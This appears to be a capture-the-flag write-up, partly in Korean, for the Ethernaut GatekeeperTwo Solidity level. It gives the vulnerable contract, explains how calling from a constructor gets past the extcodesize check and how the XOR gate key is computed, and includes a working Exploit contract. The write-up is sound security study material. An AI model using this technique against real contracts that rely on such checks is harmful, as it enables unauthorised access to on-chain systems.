728x90
Description
This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.
Things that might help:
- Remember what you've learned from getting past the first gatekeeper - the first gate is the same.
- The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See Solidity Assembly for more information. The extcodesize call in this gate will get the size of a contract's code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.
- The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see Solidity cheatsheet). The Coin Flip level is also a good place to start when approaching this challenge.
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
Scenario
- gateOne을 통과하기 위해서는 컨트랙트를 배포해서 그 컨트랙트로 enter을 호출하면 된다.
- gateTwo를 통과하기 위해서는 caller의 코드 사이즈가 0이어야 한다. -> constructor에서 호출한다.
- constructor 실행 중에는 코드 사이즈가 0이다.
- gateThree를 통과하기 위해서는 주어진 조건을 만족시키는 gateKey를 계산한다.
- XOR은 교환법칙이 성립한다.
- constructor에서 codesize가 0이어도 주소는 생성된다. -> address(this) 사용 가능
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Exploit {
constructor(address level) {
bytes8 gatekey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
(bool success, ) = level.call(abi.encodeWithSignature("enter(bytes8)", gatekey));
require(success, "failed");
}
}
728x90